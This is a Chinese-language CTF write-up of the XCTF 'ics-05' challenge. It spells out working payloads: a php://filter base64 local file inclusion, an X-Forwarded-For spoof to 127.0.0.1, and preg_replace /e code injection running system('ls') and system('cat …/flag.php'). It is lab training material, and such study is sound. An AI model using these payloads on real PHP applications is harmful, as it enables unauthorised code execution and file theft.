xctf ics-05

发布时间 2023-09-15 18:39:41作者: 光头鎏

 进来之后是一个工控云管理系统,左边一堆只有设备维护中心有跳转。

 

 此时的url也发生了改变

 没头绪,到处瞎点试一试

 发现点了左上角的设备维护中心之后有变化,并且参数会显示出来。

 

 修改参数发现始终会显示在页面下方

 使用index.php,返回ok

 尝试读取index.php内容

 http://61.147.171.105:54575/index.php?page=php://filter/resource=index.php

尝试直接读取,发现会无限循环

 然后题目直接挂了...环境异常,重启一下

http://61.147.171.105:58719/index.php?page=php://filter/convert.base64-encode/resource=index.php

通过base64读取了内容

解码后发现关键内容如下

将http头的X-Forwarded-For改为127.0.0.1

 下面用到preg_replace 函数来进行命令执行,这个函数一般用来执行一个正则表达式的搜索和替换。

语法 mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明: $pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

 

下面利用命令执行查找flag
?pat=/test/e&rep=system("ls")&sub=just test

 ?pat=/test/e&rep=system("cd s3chahahaDir;ls -la")&sub=just test

 

最后读取文件内容,获得flag

?pat=/test/e&rep=system("cat s3chahahaDir/flag/flag.php")&sub= just test